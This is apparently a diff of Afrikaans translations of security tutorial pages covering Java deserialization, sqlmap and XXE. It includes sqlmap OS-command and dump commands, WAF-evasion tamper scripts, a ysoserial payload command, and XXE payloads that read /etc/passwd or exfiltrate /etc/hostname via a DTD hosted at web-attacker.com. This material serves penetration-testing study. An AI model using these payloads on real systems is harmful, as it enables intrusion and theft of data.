||||
Enige metode in daardie ketting wat eindig met die aanroep van aanvaller-beheerde data (opdraguitvoering, JNDI soektogte, refleksie, ens.) verander die deserialisering roetine in 'n RCE gadget.
|
||||
|
||||
Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **geserialiseer** is. Hierdie klas **oorskry die readObject** funksie, so wanneer **enige objek** van hierdie **klas** **gedeserialiseer** word, gaan hierdie **funksie** **uitgevoer** word.\
|
||||
Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **serialiseerbaar** is. Hierdie klas **oorskry die readObject** funksie, so wanneer **enige objek** van hierdie **klas** **gedeserialiseer** word, gaan hierdie **funksie** **uitgevoer** word.\
|
||||
In die voorbeeld roep die **readObject** funksie van die klas Persoon die funksie `eat()` van sy troeteldier aan en die funksie `eat()` van 'n Hond (om een of ander rede) roep 'n **calc.exe** aan. **Ons gaan kyk hoe om 'n Persoon objek te serialiseer en te deserialiseer om hierdie sakrekenaar uit te voer:**
|
||||
|
||||
**Die volgende voorbeeld is van <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||||
@ -102,11 +102,11 @@ Soos jy in hierdie baie basiese voorbeeld kan sien, verskyn die “kwesbaarheid
|
||||
|
||||
* 2023 – CVE-2023-34040: Spring-Kafka deserialisering van fout-record koppe wanneer `checkDeserExWhen*` vlae geaktiveer is, het arbitrêre gadgetkonstruksie vanuit aanvaller-gepubliseerde onderwerpe toegelaat. Reggestel in 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Java kliënt vertroude-bediener aanname gebroke – kwaadwillige bediener antwoorde het serialiseerde payloads bevat wat deur die kliënt gedeserialiseer is → RCE. ²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` gebruikersprofiel attribuut parsing het `{#sb64}`-geprefikseerde Base64 blobs aanvaar en hulle gedeserialiseer ten spyte van 'n `RestrictedObjectInputStream`. Opgradeer ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Bestuurderdiens (poort 10880) het XML-gecodeerde Java-objekte aanvaar wat tot RCE as root/SYSTEM gelei het.
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` gebruikersprofiel attribuut parsing het `{#sb64}`-geprefikseerde Base64 blobs aanvaar en dit gedeserialiseer ten spyte van 'n `RestrictedObjectInputStream`. Opgradeer ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Bestuurderdiens (poort 10880) het XML-gecodeerde Java-objekte aanvaar wat gelei het tot RCE as root/SYSTEM.
|
||||
* 2024 – Meerdere nuwe gadget kettings is by ysoserial-plus(mod) gevoeg, insluitend Hibernate5, TomcatEmbed, en SnakeYAML 2.x klasse wat sommige ou filters omseil.
|
||||
|
||||
## Moderne verskansings wat jy moet implementeer
|
||||
## Moderne versagtings wat jy moet implementeer
|
||||
|
||||
1. **JEP 290 / Serialisering Filtrering (Java 9+)**
|
||||
*Voeg 'n toelaat-lis of ontken-lis van klasse by:*
|
||||
@ -136,15 +136,15 @@ java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
* `marshalsec` – steeds die verwysing vir JNDI gadget generasie (LDAP/RMI).
|
||||
* `gadget-probe` – vinnige swart-doos gadget ontdekking teen netwerk dienste.
|
||||
* `SerialSniffer` – JVMTI agent wat elke klas druk wat deur `ObjectInputStream` gelees word (nuttig om filters te skep).
|
||||
* **Ontdekking wenk** – aktiveer `-Djdk.serialDebug=true` (JDK 22+) om filterbesluite en verwerpte klasse te log.
|
||||
* **Detectie wenk** – aktiveer `-Djdk.serialDebug=true` (JDK 22+) om filterbesluite en verwerpte klasse te log.
|
||||
|
||||
## Vinning checklist vir veilige `readObject()` implementasies
|
||||
|
||||
1. Maak die metode `privaat` en voeg die `@Serial` annotasie by (help statiese analise).
|
||||
2. Nooit gebruikers-geleverde metodes aanroep of I/O in die metode uitvoer nie – lees slegs velde.
|
||||
2. Moet nooit gebruikers-geleverde metodes aanroep of I/O in die metode uitvoer nie – lees slegs velde.
|
||||
3. As validasie nodig is, voer dit **na** deserialisering uit, buite `readObject()`.
|
||||
4. Verkies om `Externalizable` te implementeer en doen eksplisiete veldlesings in plaas van standaard serialisering.
|
||||
5. Registreer 'n geharde `ObjectInputFilter` selfs vir interne dienste (kompromie-resiliente ontwerp).
|
||||
5. Registreer 'n geharde `ObjectInputFilter` selfs vir interne dienste (kompromieer-bestande ontwerp).
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -29,13 +29,13 @@ Elke karakter in die string verteenwoordig 'n tegniek:
|
||||
| Letter | Tegniek | Beskrywing |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-gebaseerde blind | Gebruik waar/vals toestande om data af te lei |
|
||||
| E | Fout-gebaseerde | Maak gebruik van uitgebreide DBMS foutboodskappe om resultate te eksfiltreer |
|
||||
| U | UNION navraag | Inspuit `UNION SELECT` stellings om data via dieselfde kanaal te verkry |
|
||||
| S | Gestapelde navrae | Voeg addisionele stellings by wat deur `;` geskei is |
|
||||
| E | Fout-gebaseerde | Maak gebruik van uitgebreide DBMS-foutboodskappe om resultate te eksfiltreer |
|
||||
| U | UNION navraag | Spuit `UNION SELECT` verklarings in om data via dieselfde kanaal te verkry |
|
||||
| S | Gestapelde navrae | Voeg addisionele verklarings by wat deur `;` geskei is |
|
||||
| T | Tyd-gebaseerde blind | Vertrou op vertragings (`SLEEP`, `WAITFOR`) om inspuiting te detecteer |
|
||||
| Q | Inline / uit-band | Gebruik funksies soos `LOAD_FILE()` of OOB kanale soos DNS |
|
||||
| Q | Inline / uit-band | Gebruik funksies soos `LOAD_FILE()` of OOB-kanale soos DNS |
|
||||
|
||||
Standaard volgorde is `BEUSTQ`. Jy kan hulle herorganiseer of beperk, bv. slegs Boolean en Tyd-gebaseerde in daardie volgorde:
|
||||
Die standaardvolgorde is `BEUSTQ`. Jy kan dit herorganiseer of beperk, byvoorbeeld net Boolean en Tyd-gebaseerde in daardie volgorde:
|
||||
```bash
|
||||
sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```
|
||||
@ -115,7 +115,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
```
|
||||
## Pas Injectie Aan
|
||||
|
||||
### Stel 'n Suffix In
|
||||
### Stel 'n agtervoegsel in
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
@ -138,7 +138,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
||||
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
|
||||
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by die einde van die payload aan |
|
||||
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
||||
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
||||
| between.py | Vervang groter as operator \('>'\) met 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
|
||||
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
|
||||
@ -157,22 +157,22 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-geversioneerde kommentaar |
|
||||
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
|
||||
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging \(bv. .replace\("SELECT", ""\)\) filters |
|
||||
| percentage.py | Voeg 'n persentasieteken \('%'\) voor elke karakter by |
|
||||
| percentage.py | Voeg 'n persentasieteken \('%'\) voor elke karakter by |
|
||||
| overlongutf8.py | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
|
||||
| randomcase.py | Vervang elke sleutelwoord karakter met ewekansige kaswaarde |
|
||||
| randomcomments.py | Voeg ewekansige kommentaar by SQL sleutelwoorde |
|
||||
| securesphere.py | Voeg spesiaal saamgestelde string by |
|
||||
| sp_password.py | Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
||||
| sp_password.py | Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
||||
| space2comment.py | Vervang spasie karakter \(' '\) met kommentaar |
|
||||
| space2dash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2hash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2morehash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2mssqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mssqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mssqlhash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n nuwe lyn \('\n'\) |
|
||||
| space2mysqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqldash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\) |
|
||||
| space2plus.py | Vervang spasie karakter \(' '\) met plus \('+'\) |
|
||||
| space2randomblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqldash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\) |
|
||||
| space2plus.py | Vervang spasie karakter \(' '\) met plus \('+'\) |
|
||||
| space2randomblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers \(&& en |
|
||||
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
||||
| unmagicquotes.py | Vervang aanhalingsteken karakter \('\) met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde \(om dit te laat werk\) |
|
||||
@ -180,7 +180,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
||||
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar |
|
||||
| versionedmorekeywords.py | Omhels elke sleutelwoord met geversioneerde MySQL kommentaar |
|
||||
| xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
|
||||
| xforwardedfor.py | Voeg 'n valse HTTP kop 'X-Forwarded-For' by |
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
@ -23,20 +23,20 @@
|
||||
--proxy=http://127.0.0.1:8080
|
||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||
```
|
||||
### Tegnie vlaggies (`--technique`)
|
||||
### Tegniek vlae (`--technique`)
|
||||
|
||||
Die `--technique` opsie laat jou toe om die SQL-inspuit tegnieke wat sqlmap sal toets, te beperk of te herorden. Elke letter stem ooreen met 'n ander klas payloads:
|
||||
Die `--technique` opsie laat jou toe om die SQL-inspuitingstegnieke wat sqlmap sal toets, te beperk of te herorden. Elke letter stem ooreen met 'n ander klas payloads:
|
||||
|
||||
| Letter | Tegniek | Beskrywing |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-gebaseerde blind | Gebruik waar/onwaar toestande in die bladsy respons om resultate af te lei |
|
||||
| E | Fout-gebaseerde | Maak gebruik van uitgebreide DBMS foutboodskappe om data te onttrek |
|
||||
| U | UNION navraag | Inspuit `UNION SELECT` stellings om data via dieselfde kanaal te verkry |
|
||||
| S | Gestapelde navrae | Voeg ekstra stellings by wat geskei word deur 'n SQL afdelingsmerker (`;`) |
|
||||
| U | UNION navraag | Injekteer `UNION SELECT` verklarings om data via dieselfde kanaal te verkry |
|
||||
| S | Gestapelde navrae | Voeg ekstra verklarings by wat geskei word deur 'n SQL afdelingsmerker (`;`) |
|
||||
| T | Tyd-gebaseerde blind | Vertrou op `SLEEP/WAITFOR` vertragings om inspuitbare toestande te detecteer |
|
||||
| Q | Inline / uit-band | Maak gebruik van funksies soos `LOAD_FILE()` of DNS eksfiltrasie om data te onttrek |
|
||||
|
||||
Die standaard volgorde wat sqlmap sal volg is `BEUSTQ` (alle tegnieke). Jy kan beide die volgorde en die substel verander. Byvoorbeeld, die volgende opdrag sal **slegs** probeer UNION navraag en Tyd-gebaseerde blind tegnieke, en UNION eerste probeer:
|
||||
Die standaard volgorde wat sqlmap sal volg is `BEUSTQ` (alle tegnieke). Jy kan beide die volgorde en die substel verander. Byvoorbeeld, die volgende opdrag sal **slegs** UNION navraag en Tyd-gebaseerde blind tegnieke probeer, en UNION eerste probeer:
|
||||
```bash
|
||||
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
```
|
||||
@ -60,7 +60,7 @@ sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
Met behulp van [SQLMapping](https://taurusomar.github.io/sqlmapping/) is dit 'n praktiese hulpmiddel wat opdragte genereer en 'n volledige oorsig bied, beide basies en gevorderd, vir SQLMap. Dit sluit ToolTips in wat elke aspek van die hulpmiddel verduidelik, met besonderhede oor elke opsie sodat jy kan verbeter en verstaan hoe om dit doeltreffend en effektief te gebruik.
|
||||
Gebruik [SQLMapping](https://taurusomar.github.io/sqlmapping/) dit is 'n praktiese hulpmiddel wat opdragte genereer en 'n volledige oorsig bied, beide basies en gevorderd, vir SQLMap. Dit sluit ToolTips in wat elke aspek van die hulpmiddel verduidelik, met besonderhede oor elke opsie sodat jy kan verbeter en verstaan hoe om dit doeltreffend en effektief te gebruik.
|
||||
|
||||
## Inspuitplek
|
||||
|
||||
@ -93,13 +93,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
### Gee 'n teken wanneer inspuiting suksesvol is
|
||||
### Dui string aan wanneer inspuiting suksesvol is
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Voeg opsporingstegniek by
|
||||
|
||||
As jy 'n SQLi gevind het, maar sqlmap dit nie opgespoor het nie, kan jy die opsporingstegniek afdwing met args soos `--prefix` of `--suffix`, of as dit meer kompleks is, dit by die payloads voeg wat deur sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` gebruik word, byvoorbeeld vir tyd blinde gebaseerde.
|
||||
As jy 'n SQLi gevind het, maar sqlmap dit nie opgespoor het nie, kan jy die opsporingstegniek afdwing met args soos `--prefix` of `--suffix`, of as dit meer kompleks is, dit by die payloads voeg wat deur sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` gebruik word, byvoorbeeld vir tyd-blind gebaseerde.
|
||||
|
||||
### Eval
|
||||
|
||||
@ -107,7 +107,7 @@ As jy 'n SQLi gevind het, maar sqlmap dit nie opgespoor het nie, kan jy die opsp
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Shell
|
||||
### Skulpin
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
@ -161,11 +161,11 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
||||
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
||||
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
|
||||
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by die einde van die payload aan |
|
||||
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
||||
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
|
||||
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
|
||||
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
|
||||
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
|
||||
@ -175,14 +175,14 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022" |
|
||||
| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
|
||||
| escapequotes.py | Slas escape aanhalings (' en ") |
|
||||
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
|
||||
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
|
||||
| escapequotes.py | Skuil aanhalings (' en ") |
|
||||
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
|
||||
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
|
||||
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
|
||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergwe kommentaar |
|
||||
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
|
||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawes kommentaar |
|
||||
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
|
||||
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigers geskik vir vervanging (bv. .replace("SELECT", "")) filters |
|
||||
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters |
|
||||
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
|
||||
| overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
|
||||
| randomcase.py | Vervang elke sleutelwoord karakter met ewekansige kaswaarde |
|
||||
@ -193,19 +193,19 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
|
||||
| space2hash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
|
||||
| space2morehash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
|
||||
| space2mssqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mssqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mssqlhash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n') |
|
||||
| space2mysqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqldash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
|
||||
| space2plus.py | Vervang spasie karakter (' ') met plus ('+') |
|
||||
| space2randomblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2randomblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
|
||||
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
||||
| unmagicquotes.py | Vervang aanhalingsteken karakter (') met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde (om dit te laat werk) |
|
||||
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters 'INSERT' |
|
||||
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
||||
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
|
||||
| versionedmorekeywords.py | Omhels elke sleutelwoord met weergawe MySQL kommentaar |
|
||||
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
|
||||
| versionedmorekeywords.py | Omhels elke sleutelwoord met weergawe MySQL kommentaar |
|
||||
| xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
|
||||
|
||||
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## XML Basiese Beginsels
|
||||
|
||||
XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing vir etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
|
||||
XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing van etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
|
||||
|
||||
- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `<` en `>`, wat ooreenstem met `<` en `>` om konflik met XML se etikette stelsel te vermy.
|
||||
- **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
|
||||
- **Definiëring van XML Elemente**: XML stel die definisie van elementtipes in staat, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
|
||||
- **Dokumenttipe Definisie (DTD)**: DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
|
||||
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, wek sekuriteitskwessies, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databasisse hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies mee, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databasisse hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -35,7 +35,7 @@ In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.
|
||||
|
||||
Kom ons probeer om `/etc/passwd` op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
In hierdie eerste geval let op dat SYSTEM "_**file:///**etc/passwd_" ook sal werk.
|
||||
In hierdie eerste geval, let daarop dat SYSTEM "_**file:///**etc/passwd_" ook sal werk.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -65,7 +65,7 @@ In hierdie derde geval let op dat ons die `Element stockCheck` as ANY verklaar.
|
||||
|
||||
### Gidslys
|
||||
|
||||
In **Java** gebaseerde toepassings mag dit moontlik wees om **die inhoud van 'n gids te lys** via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):
|
||||
In **Java** gebaseerde toepassings kan dit moontlik wees om **die inhoud van 'n gids te lys** via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -91,7 +91,7 @@ Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry t
|
||||
```
|
||||
### "Blind" SSRF - Exfiltreer data uit-band
|
||||
|
||||
**In hierdie geval gaan ons die bediener laat 'n nuwe DTD met 'n kwaadwillige payload laai wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal deur hierdie basiese bediener te gebruik, byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In hierdie geval gaan ons die bediener laat 'n nuwe DTD laai met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:
|
||||
|
||||
@ -121,7 +121,7 @@ Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer,
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
|
||||
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die eksfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
|
||||
|
||||
### Foutgebaseerd (Eksterne DTD)
|
||||
|
||||
@ -132,7 +132,7 @@ Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit bin
|
||||
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd` lêer bevat.
|
||||
